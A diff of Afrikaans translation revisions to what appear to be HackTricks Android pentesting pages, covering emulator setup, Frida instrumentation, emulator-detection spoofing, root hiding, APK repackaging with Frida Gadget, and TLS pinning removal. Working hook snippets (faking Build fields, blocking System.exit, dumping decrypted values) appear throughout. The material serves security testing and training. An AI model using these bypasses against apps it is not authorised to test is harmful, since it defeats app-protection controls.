-Algemene heuristieke: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE wat generic/goldfish/ranchu/sdk bevat; QEMU artefakte soos /dev/qemu_pipe, /dev/socket/qemud; standaard MAC 02:00:00:00:00:00; 10.0.2.x NAT; ontbrekende telephony/sensors.
+Algemene heuristieke: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE waarin generic/goldfish/ranchu/sdk voorkom; QEMU-artefakte soos /dev/qemu_pipe, /dev/socket/qemud; standaard MAC 02:00:00:00:00:00; 10.0.2.x NAT; ontbrekende telephony/sensors.
 
 Vinnige spoof van Build-velde:
 ```js
@@ -143,7 +143,7 @@ Build.BRAND.value = 'google';
 Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
 });
 ```
-Vul dit aan met stubbe vir kontroles of lêers bestaan en identifiseerders (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) om realistiese waardes terug te gee.
+Aanvul met stubbe vir lêer-bestaan-kontroles en identifiseerders (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) om realistiese waardes terug te gee.
 
 ## SSL pinning bypass quick hook (Java)
 
@@ -171,11 +171,11 @@ Aantekeninge
 
 ## Stap 6 — Volg die JNI/native spoor wanneer Java hooks misluk
 
-Traseer JNI-invoerpunte om native loaders en detection init te lokaliseer:
+Volg JNI entry points om native loaders en detection init te vind:
 ```bash
 frida-trace -n com.example.app -i "JNI_OnLoad"
 ```
-Vinnige native triage van ingeslote .so-lêers:
+Vinnige native triage van gebundelde .so-lêers:
 ```bash
 # List exported symbols & JNI
 nm -D libfoo.so | head
@@ -207,23 +207,23 @@ As jy repacking bo runtime hooks verkies, probeer:
 objection patchapk --source app.apk
 ```
 Aantekeninge:
-- Requires apktool; ensure a current version from the official guide to avoid build issues: https://apktool.org/docs/install
+- Vereis apktool; maak seker van 'n onlangse weergawe volgens die amptelike gids om bouprobleme te vermy: https://apktool.org/docs/install
-- Gadget injection enables instrumentation without root but can still be caught by stronger init‑time checks.
+- Gadget injection maak instrumentation sonder root moontlik, maar kan steeds deur sterker init‑time kontroles opgespoor word.
 
-Opsioneel, voeg LSPosed modules en Shamiko by vir sterker root hiding in Zygisk environments, en curate DenyList om child processes te cover.
+Opsioneel, voeg LSPosed modules en Shamiko by vir sterker root-verberging in Zygisk omgewings, en stel DenyList saam om onderliggende prosesse te dek.
 
 Verwysings:
 - Objection: https://github.com/sensepost/objection
 
-## Stap 8 — Valopsie: Patch TLS pinning vir netwerk sigbaarheid
+## Stap 8 — Terugval: Patcheer TLS pinning vir netwerk‑sigbaarheid
 
-As instrumentation geblokkeer is, kan jy steeds traffic inspekteer deur pinning staties te verwyder:
+As instrumentation geblokkeer is, kan jy steeds netwerkverkeer inspekteer deur pinning staties te verwyder:
 ```bash
 apk-mitm app.apk
 # Then install the patched APK and proxy via Burp/mitmproxy
 ```
 - Gereedskap: https://github.com/shroudedcode/apk-mitm
-- Vir netwerkconfig CA‑trust truuks (en Android 7+ user CA trust), sien:
+- Vir netwerkkonfigurasie CA‑trust-truuks (en Android 7+ user CA trust), sien:
 
 {{#ref}}
 make-apk-accept-ca-certificate.md
@@ -233,7 +233,7 @@ make-apk-accept-ca-certificate.md
 install-burp-certificate.md
 {{#endref}}
 
-## Handige opdragte cheat‑sheet
+## Handige opdrag cheat‑sheet
 ```bash
 # List processes and attach
 frida-ps -Uai
@@ -253,12 +253,12 @@ apk-mitm app.apk
 ```
 ## Wenke & waarskuwings
 
-- Liewer later attach as om te spawn wanneer apps by opstart crash
+- Gebruik by voorkeur attaching laat bo spawning wanneer apps by opstart crash
-- Sommige detections herhaal in kritieke flows (bv. payment, auth) — hou hooks aktief tydens navigasie
+- Sommige detections word weer uitgevoer in critical flows (bv. payment, auth) — hou hooks aktief tydens navigation
-- Meng static en dynamic: string hunt in Jadx om klasse te kortlys; hook methods om by runtime te verifieer
+- Meng static en dynamic: string hunt in Jadx om klasse te shortlist; hook methods om by runtime te verify
-- Hardened apps kan packers en native TLS pinning gebruik — verwag om native code te reverse
+- Beveiligde apps kan packers en native TLS pinning gebruik — verwag om native code te reverse
 
-## References
+## Verwysings
 
 - [Reversing Android Apps: Bypassing Detection Like a Pro](https://www.kayssel.com/newsletter/issue-12/)
 - [Frida Codeshare](https://codeshare.frida.re/)

src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md

@@ -1,4 +1,4 @@
-# AVD - Android Virtual Device
+# AVD - Android Virtuele Toestel
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -6,19 +6,19 @@ Baie dankie aan [**@offsecjay**](https://twitter.com/offsecjay) vir sy hulp tyde
 
 ## Wat is
 
-Android Studio laat jou toe om **Android virtuele masjiene te draai wat jy kan gebruik om APKs te toets**. Om dit te gebruik sal jy benodig:
+Android Studio maak dit moontlik om **Android virtuele masjiene te draai wat jy kan gebruik om APKs te toets**. Om dit te gebruik benodig jy:
 
 - Die **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
-- Of **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio).
+- Of **Android Studio** (met Android SDK tools) - [Download here](https://developer.android.com/studio).
 
-In Windows (in my geval) **na die installering van Android Studio** het ek die **SDK Tools geïnstalleer in**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
+Op Windows (in my geval) **na die installasie van Android Studio** het ek die **SDK Tools geïnstalleer in**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
 
-Op mac kan jy die **SDK tools aflaai** en dit in die PATH plaas deur die volgende te hardloop:
+Op mac kan jy die **SDK tools** aflaai en hulle in die PATH hê deur die volgende uit te voer:
 ```bash
 brew tap homebrew/cask
 brew install --cask android-sdk
 ```
-Of vanaf **Android Studio GUI** soos aangedui in [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) wat hulle sal installeer in `~/Library/Android/sdk/cmdline-tools/latest/bin/` en `~/Library/Android/sdk/platform-tools/` en `~/Library/Android/sdk/emulator/`
+Of vanaf **Android Studio GUI** soos aangedui in [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) wat hulle in `~/Library/Android/sdk/cmdline-tools/latest/bin/` en `~/Library/Android/sdk/platform-tools/` en `~/Library/Android/sdk/emulator/` sal installeer
 
 Vir die Java-probleme:
 ```java
@@ -26,9 +26,9 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
 ```
 ## GUI
 
-### Berei Virtuele Masjien voor
+### Prepare Virtual Machine
 
-As jy Android Studio geïnstalleer het, kan jy net die hoofprojek-oorsig oopmaak en toegang kry: _**Tools**_ --> _**AVD Manager.**_
+As jy Android Studio geïnstalleer het, kan jy net die hoofprojek-oorsig oopmaak en toegang kry tot: _**Tools**_ --> _**AVD Manager.**_
 
 <div align="center" data-full-width="false">
 
@@ -36,38 +36,38 @@ As jy Android Studio geïnstalleer het, kan jy net die hoofprojek-oorsig oopmaak
 
 </div>
 
-Klik dan op _**Create Virtual Device**_
+Then, click on _**Create Virtual Device**_
 
 <figure><img src="../../images/image (1143).png" alt="" width="188"><figcaption></figcaption></figure>
 
-_**Kies** die foon wat jy wil gebruik_ en klik op _**Next.**_
+_**kies** die telefoon wat jy wil gebruik_ en klik op _**Next.**_
 
 > [!WARNING]
-> If you need a phone with Play Store installed select one with the Play Store icon on it!
+> As jy 'n telefoon met Play Store geïnstalleer benodig, kies een met die Play Store-ikoon daarop!
 >
 > <img src="../../images/image (1144).png" alt="" data-size="original">
 
-In die huidige aansig kan jy die **Android image kies en aflaai** wat diefoon gaan gebruik:
+In die huidige aansig kan jy **kies en aflaai die Android image** wat die telefoon gaan gebruik:
 
 <figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
 
-Kies dit, en as dit nie afgelaai is nie klik op die _**Download**_ simbool langs die naam (**wag nou totdat die image afgelaai is).**\
+So, select it and if it isn't downloaded click on the _**Download**_ symbol next to the name (**now wait until the image is downloaded).**\
-Sodra die image afgelaai is, kies net **`Next`** en **`Finish`**.
+Once the image is downloaded, just select **`Next`** and **`Finish`**.
 
-Die virtuele masjien sal geskep word. Nou, **elke keer as jy toegang kry tot AVD manager, sal dit daar wees**.
+Die virtuele masjien sal geskep word. Nou sal dit **elke keer as jy die AVD Manager oopmaak, beskikbaar wees**.
 
-### Begin Virtuele Masjien
+### Run Virtual Machine
 
-Om dit te **begin** druk net die _**Start button**_.
+Om dit te begin, druk net die _**Start button**_.
 
 ![](<../../images/image (518).png>)
 
-## Opdraglyn-gereedskap
+## Command Line tool
 
 > [!WARNING]
-> For macOS you can find the `avdmanager` tool in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` if you have them installed.
+> Vir macOS kan jy die `avdmanager` tool vind in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` en die `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` as jy dit geïnstalleer het.
 
-Eerstens moet jy **bepaal watter foon jy wil gebruik**, om die lys van moontlike fone te sien voer uit:
+Eerstens moet jy **besluit watter telefoon jy wil gebruik**, om die lys van moontlike telefone te sien voer uit:
 ```
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
 
@@ -95,11 +95,12 @@ Name: Nexus 10
 OEM : Google
 [...]
 ```
-Sodra jy die naam van die toestel wat jy wil gebruik besluit het, moet jy **bepaal watter Android-image jy in hierdie toestel wil uitvoer.**\ Jy kan al die opsies lys met `sdkmanager`:
+Sodra jy die naam van die toestel wat jy wil gebruik bepaal het, moet jy **bepaal watter Android image jy op hierdie toestel wil laat loop.**\
+Jy kan al die opsies lys met `sdkmanager`:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
 ```
-En **download** die een (of almal) wat jy wil gebruik met:
+En **laai af** die een (of almal) wat jy wil gebruik met:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
 ```
@@ -119,11 +120,11 @@ Type: Platform
 API level: 29
 Revision: 4
 ```
-Op hierdie stadium het jy besluit watter toestel jy wil gebruik en jy het die Android image afgelaai, dus **kan jy die virtuele masjien skep met**:
+Op hierdie stadium het jy besluit watter toestel jy wil gebruik en jy het die Android image afgelaai, dus **kan jy die virtuele masjien skep met behulp van**:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
 ```
-In die laaste opdrag **het ek 'n VM geskep met die naam** "_AVD9_" deur die **toestel** "_Nexus 5X_" en die **Android image** "_system-images;android-28;google_apis;x86_64_" te gebruik.\
+In die laaste opdrag **het ek 'n VM geskep genaamd** "_AVD9_" deur die **toestel** "_Nexus 5X_" en die **Android-image** "_system-images;android-28;google_apis;x86_64_" te gebruik.\
 Nou kan jy **lys die virtuele masjiene** wat jy geskep het met:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
@@ -142,52 +143,52 @@ Error: Google pixel_2 no longer exists as a device
 ### Voer Virtuele Masjien uit
 
 > [!WARNING]
-> Vir macOS kan jy die `avdmanager` hulpmiddel vind in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` en die `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` as jy dit geïnstalleer het.
+> Vir macOS kan jy die `avdmanager` tool in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` en die `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` vind as jy hulle geïnstalleer het.
 
-Ons het reeds gesien hoe jy die gemaakte virtuele masjiene kan lys, maar **jy kan hulle ook lys met**:
+Ons het reeds gesien hoe jy die gemaakte virtuele masjiene kan lys, maar **jy kan hulle ook lys met behulp van**:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
 AVD9
 Pixel_2_API_27
 ```
-Jy kan eenvoudig **enige geskepte virtuele masjien** laat loop deur gebruik te maak van:
+Jy kan eenvoudig **enige geskepte virtuele masjien uitvoer** met:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
 ```
-Of deur meer gevorderde opsies te gebruik kan jy 'n virtuele masjien soos:
+Of deur meer gevorderde opsies te gebruik, kan jy 'n virtuele masjien soos die volgende laat loop:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
 ```
 ### Command line options
 
-Daar is egter **baie verskillende nuttige opdragreëlopsies** wat jy kan gebruik om 'n virtuele masjien te begin. Hieronder kan jy 'n paar interessante opsies sien, maar jy kan [**'n volledige lys hier vind**](https://developer.android.com/studio/run/emulator-commandline)
+Daar is egter **a lot of different command line useful options** wat jy kan gebruik om 'n virtuele masjien te begin. Hieronder kan jy 'n paar interessante opsies vind maar kan [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
 
 **Opstart**
 
 - `-snapshot name` : Start VM snapshot
-- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Lys al die opgeneemde snapshots
+- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Lys alle geregistreerde snapshots
 
 **Netwerk**
 
-- `-dns-server 192.0.2.0, 192.0.2.255` : Laat toe om die DNS-bedieners vir die VM kommageskei aan te dui.
+- `-dns-server 192.0.2.0, 192.0.2.255` : Laat toe om die DNS-bedieners as 'n komma-geskeide lys aan die VM aan te dui.
 - **`-http-proxy 192.168.1.12:8080`** : Laat toe om 'n HTTP-proxy aan te dui om te gebruik (baie nuttig om verkeer met Burp vas te vang)
-- As die proxy-instellings om een of ander rede nie werk nie, probeer dit intern te konfigureer of 'n toepassing soos "Super Proxy" of "ProxyDroid" te gebruik.
+- If the proxy settings aren't working for some reason, try to configure them internally or using an pplication like "Super Proxy" or "ProxyDroid".
 - `-netdelay 200` : Stel die netwerklatensie-emulasie in millisekondes.
-- `-port 5556` : Stel die TCP-poortnommer wat vir die console en adb gebruik word.
+- `-port 5556` : Stel die TCP-poortnommer wat vir die konsole en adb gebruik word.
-- `-ports 5556,5559` : Stel die TCP-poorte wat vir die console en adb gebruik word.
+- `-ports 5556,5559` : Stel die TCP-poorte wat vir die konsole en adb gebruik word.
-- **`-tcpdump /path/dumpfile.cap`** : Vang al die verkeer in 'n lêer
+- **`-tcpdump /path/dumpfile.cap`** : Neem al die verkeer in 'n lêer op
 
 **Stelsel**
 
-- `-selinux {disabled|permissive}` : Stel die Security-Enhanced Linux sekuriteitsmodule in op óf disabled óf permissive modus op 'n Linux-bedryfstelsel.
+- `-selinux {disabled|permissive}` : Stel die Security-Enhanced Linux sekuriteitsmodule op 'n Linux-bedryfstelsel.
 - `-timezone Europe/Paris` : Stel die tydsone vir die virtuele toestel
 - `-screen {touch(default)|multi-touch|o-touch}` : Stel die geëmuleerde raakskermmodus in.
-- **`-writable-system`** : Gebruik hierdie opsie om 'n beskryfbare stelselbeeld gedurende jou emulasiesessie te hê. Jy sal ook `adb root; adb remount` moet uitvoer. Dit is baie handig om 'n nuwe sertifikaat in die stelsel te installeer.
+- **`-writable-system`** : Gebruik hierdie opsie om 'n skryfbare stelselbeeld tydens jou emulasiesessie te hê. Jy sal ook moet `adb root; adb remount`. Dit is baie nuttig om 'n nuwe sertifikaat in die stelsel te installeer.
 
-## Linux CLI-opstelling (SDK/AVD snelbegin)
+## Linux CLI setup (SDK/AVD quickstart)
 
-Die amptelike CLI-gereedskap maak dit maklik om vinnige, debugbare emulators te skep sonder Android Studio.
+Die amptelike CLI-instrumente maak dit maklik om vinnige, ontfoutbare emulators te skep sonder Android Studio.
 ```bash
 # Directory layout
 mkdir -p ~/Android/cmdline-tools/latest
@@ -216,9 +217,9 @@ adb root
 adb shell whoami  # expect: root
 ```
 Aantekeninge
-- Stelselbeeld-variante: google_apis (debuggable, laat `adb root` toe), google_apis_playstore (nie rootbaar nie), aosp/default (liggewig).
+- Stelselbeeld-variante: google_apis (debuggable, laat `adb root` toe), google_apis_playstore (nie-rootbaar nie), aosp/default (liggewig).
-- Bou-tipes: userdebug laat dikwels `adb root` toe op debug-geskikte beelde. Play Store images is produksie-boude en blokkeer root.
+- Bouwtipes: userdebug laat dikwels `adb root` toe op debug-ondersteunende images. Play Store images is produksie-boues en blokkeer root.
-- Op x86_64-gashere word volstelsel ARM64-emulasie nie ondersteun vanaf API 28+ nie. Vir Android 11+ gebruik Google APIs/Play images wat per-app ARM-to-x86 translation insluit om baie ARM-only apps vinnig te laat loop.
+- Op x86_64-gashere is volstelsels ARM64-emulasie nie ondersteun vanaf API 28+ nie. Vir Android 11+ gebruik Google APIs/Play images wat per-app ARM-na-x86-vertaling insluit om baie ARM-only apps vinnig te laat loop.
 
 ### Snapshots vanaf die CLI
 ```bash
@@ -228,39 +229,39 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup
 # Boot from a named snapshot (if it exists)
 emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
 ```
-## ARM→x86 binaire vertaling (Android 11+)
+## ARM→x86 binary translation (Android 11+)
 
-Google APIs en Play Store images op Android 11+ kan ARM-app-binaries per proses vertaal terwyl die res van die stelsel inheemse x86/x86_64 bly. Dit is dikwels vinnig genoeg om baie ARM-only apps op 'n lessenaar te toets.
+Google APIs en Play Store-images op Android 11+ kan ARM-app-binaire per proses vertaal terwyl die res van die stelsel native x86/x86_64 bly. Dit is dikwels vinnig genoeg om baie slegs-ARM-apps op 'n lessenaar te toets.
 
-> Wenk: Gebruik voorkeurlik Google APIs x86/x86_64 images tydens pentests. Play images is gerieflik maar blokkeer `adb root`; gebruik dit slegs wanneer jy spesifiek Play services benodig en die gebrek aan root aanvaar.
+> Tip: Verkies Google APIs x86/x86_64-images tydens pentests. Play-images is gerieflik maar blokkeer `adb root`; gebruik hulle slegs wanneer jy spesifiek Play services benodig en die gebrek aan root aanvaar.
 
 ## Rooting a Play Store device
 
-As jy 'n toestel met Play Store afgelaai het, gaan jy nie direk root kan kry nie, en jy sal hierdie foutboodskap kry
+If you downloaded a device with Play Store you are not going to be able to get root directly, and you will get this error message
 ```
 $ adb root
 adbd cannot run as root in production builds
 ```
-Deur [rootAVD](https://github.com/newbit1/rootAVD) saam met [Magisk](https://github.com/topjohnwu/Magisk) te gebruik, kon ek dit root (volg byvoorbeeld [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **of** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
+Deur [rootAVD](https://github.com/newbit1/rootAVD) met [Magisk](https://github.com/topjohnwu/Magisk) te gebruik, kon ek dit root (volg byvoorbeeld [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) of [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
 
-## Installeer Burp-sertifikaat
+## Installeer Burp Sertifikaat
 
-Kyk na die volgende bladsy om te leer hoe om 'n pasgemaakte CA-sertifikaat te installeer:
+Kyk na die volgende bladsy om te leer hoe om 'n pasgemaakte CA cert te installeer:
 
 
 {{#ref}}
 install-burp-certificate.md
 {{#endref}}
 
-## Goeie AVD-opsies
+## Nuttige AVD-opties
 
 ### Neem 'n Snapshot
 
-Jy kan **use the GUI** gebruik om op enige tyd 'n snapshot van die VM te neem:
+Jy kan **die GUI gebruik** om te eniger tyd 'n snapshot van die VM te neem:
 
 ![](<../../images/image (234).png>)
 
-## Verwysings
+## References
 
 - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
 - [Android Emulator command line](https://developer.android.com/studio/run/emulator-commandline)

src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md

@@ -10,8 +10,8 @@ Installeer **frida tools**:
 pip install frida-tools
 pip install frida
 ```
-**Laai af en installeer** op die Android-toestel die **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
+**Laai af en installeer** in die android die **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
-Eenreël-opdrag om adb in root-modus te herbegin, daaraan te koppel, frida-server op te laai, exec permissions te gee en dit in die agtergrond te laat loop:
+Eenreël-opdrag om adb in root mode te herbegin, daaraan te koppel, frida-server op te laai, exec permissions te gee en dit in die agtergrond te laat loop:
 ```bash
 adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
 ```
@@ -22,10 +22,10 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
 ```
 ## Frida server vs. Gadget (root vs. no-root)
 
-Twee algemene maniere om Android apps met Frida te instrumenteer:
+Twee algemene maniere om Android-apps met Frida te instrumenteer:
 
 - Frida server (rooted devices): Stoot en voer 'n inheemse daemon uit wat jou toelaat om aan enige proses te koppel.
-- Frida Gadget (no root): Bundel Frida as 'n gedeelde biblioteek binne die APK en laai dit outomaties in die teikenproses.
+- Frida Gadget (no root): Bundel Frida as 'n gedeelde biblioteek binne die APK en laai dit outomaties binne die teikenproses.
 
 Frida server (rooted)
 ```bash
@@ -42,9 +42,9 @@ frida -U -n com.example.app
 ```
 Frida Gadget (no-root)
 
-1) Pak die APK uit, voeg die gadget .so en konfigurasie by:
+1) Pak die APK uit, voeg die gadget .so en config by:
-- Plaas libfrida-gadget.so in lib/<abi>/ (bv., lib/arm64-v8a/)
+- Place libfrida-gadget.so into lib/<abi>/ (e.g., lib/arm64-v8a/)
-- Skep assets/frida-gadget.config met jou script-laaistellings
+- Skep assets/frida-gadget.config met jou script laai-instellings
 
 Voorbeeld frida-gadget.config
 ```json
@@ -53,8 +53,8 @@ Voorbeeld frida-gadget.config
 "runtime": { "logFile": "/sdcard/frida-gadget.log" }
 }
 ```
-2) Verwys/laai die gadget sodat dit vroeg geïnitialiseer word:
+2) Verwys/laai die gadget sodat dit vroeg geïnisialiseer word:
-- Maklikste: Voeg 'n klein Java-stub by System.loadLibrary("frida-gadget") in Application.onCreate(), of gebruik die reeds bestaande native lib loading.
+- Die maklikste: Voeg 'n klein Java-stub by wat System.loadLibrary("frida-gadget") in Application.onCreate() aanroep, of gebruik die native lib loading wat reeds teenwoordig is.
 
 3) Herpak en teken die APK, en installeer dit dan:
 ```bash
@@ -64,40 +64,40 @@ apktool b app_m -o app_gadget.apk
 uber-apk-signer -a app_gadget.apk -o out_signed
 adb install -r out_signed/app_gadget-aligned-debugSigned.apk
 ```
-4) Koppel vanaf host na die gadget-proses:
+4) Koppel van gasheer na die gadget-proses:
 ```bash
 frida-ps -Uai
 frida -U -n com.example.app
 ```
 Aantekeninge
 - Gadget word deur sommige beskermings opgespoor; hou name/paaie onopvallend en laai laat/voorwaardelik indien nodig.
-- By geharde apps, verkies rooted testing met server + late attach, of kombineer met Magisk/Zygisk verberging.
+- By geharde apps, verkies rooted testing met server + late attach, of kombineer dit met Magisk/Zygisk hiding.
 
 ## Handleidings
 
-### [Handleiding 1](frida-tutorial-1.md)
+### [Tutorial 1](frida-tutorial-1.md)
 
-**Van**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
+**Bron**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
 **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
-**Bronkode**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
+**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
 
-**Volg die [skakel om dit te lees](frida-tutorial-1.md).**
+**Volg die [link to read it](frida-tutorial-1.md).**
 
-### [Handleiding 2](frida-tutorial-2.md)
+### [Tutorial 2](frida-tutorial-2.md)
 
-**Van**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Dele 2, 3 & 4)\
+**Bron**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Dele 2, 3 & 4)\
-**APKs en Bronkode**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
+**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
 
-**Volg die [skakel om dit te lees](frida-tutorial-2.md).**
+**Volg die[ link to read it.](frida-tutorial-2.md)**
 
-### [Handleiding 3](owaspuncrackable-1.md)
+### [Tutorial 3](owaspuncrackable-1.md)
 
-**Van**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
+**Bron**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
 **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
 
-**Volg die [skakel om dit te lees](owaspuncrackable-1.md).**
+**Volg die [link to read it](owaspuncrackable-1.md).**
 
-**Jy kan meer Awesome Frida-skripte hier vind:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
+**Jy kan meer Awesome Frida scripts hier vind:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
 
 ## Vinnige Voorbeelde
 
@@ -114,7 +114,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
 #frozen so that the instrumentation can occur, and the automatically
 #continue execution with our modified code.
 ```
-### Basiese Python-skrip
+### Basiese Python Skrip
 ```python
 import frida, sys
 
@@ -144,7 +144,7 @@ sysexit.exit.overload("int").implementation = function (var_0) {
 send("java.lang.System.exit(I)V  // We avoid exiting the application  :)")
 }
 ```
-Hook MainActivity `.onStart()` en `.onCreate()`
+Hook MainActivity `.onStart()` & `.onCreate()`
 ```javascript
 var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity")
 mainactivity.onStart.overload().implementation = function () {
@@ -168,9 +168,9 @@ send("Activity HIT!!!")
 var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
 }
 ```
-### Hooking funksies met parameters en die waarde terugkry
+### Hooking funksies met parameters en die waarde ophaal
 
-Hooking 'n decryption function. Druk die input, roep die oorspronklike funksie aan om die input te decrypt en uiteindelik druk die plain data uit:
+Hooking van 'n decryption-funksie. Druk die input, roep die oorspronklike funksie aan om die input te decrypt, en druk uiteindelik die plain data:
 ```javascript
 function getString(data) {
 var ret = ""
@@ -195,7 +195,7 @@ send("Decrypted flag: " + flag)
 return ret //[B
 }
 ```
-### Hooking funksies en hulle aanroep met ons inset
+### Hooking van funksies en hulle aanroep met ons inset
 
 Hook 'n funksie wat 'n string ontvang en roep dit aan met 'n ander string (van [here](https://11x256.github.io/Frida-hooking-android-part-2/))
 ```javascript
@@ -210,11 +210,11 @@ console.log("Return value: " + ret)
 return ret
 }
 ```
-### Kry 'n reeds geskepte objek van 'n klas
+### Kry 'n reeds geskepte object van 'n class
 
-As jy 'n attribuut van 'n geskepte objek wil uittrek, kan jy dit gebruik.
+As jy 'n attribute van 'n reeds geskepte object wil uittrek, kan jy dit so gebruik.
 
-In hierdie voorbeeld gaan jy sien hoe om die objek van die klas my_activity te kry en hoe om die funksie .secret() aan te roep wat 'n privaat attribuut van die objek sal afdruk:
+In hierdie voorbeeld gaan jy sien hoe om die object van die class my_activity te kry en hoe om die function .secret() aan te roep wat 'n private attribute van die object sal afdruk:
 ```javascript
 Java.choose("com.example.a11x256.frida_test.my_activity", {
 onMatch: function (instance) {
@@ -225,7 +225,7 @@ console.log("Result of secret func: " + instance.secret())
 onComplete: function () {},
 })
 ```
-## Ander Frida-handleidings
+## Ander Frida-tutoriale
 
 - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
 - [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
@@ -233,8 +233,8 @@ onComplete: function () {},
 
 ## Verwysings
 
-- [Bou 'n herhaalbare Android Bug Bounty-lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
+- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
-- [Frida Gadget dokumentasie](https://frida.re/docs/gadget/)
+- [Frida Gadget documentation](https://frida.re/docs/gadget/)
-- [Frida vrystellings (server binaries)](https://github.com/frida/frida/releases)
+- [Frida releases (server binaries)](https://github.com/frida/frida/releases)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md

@@ -5,7 +5,7 @@
 
 ## Stelselwye proxy via ADB
 
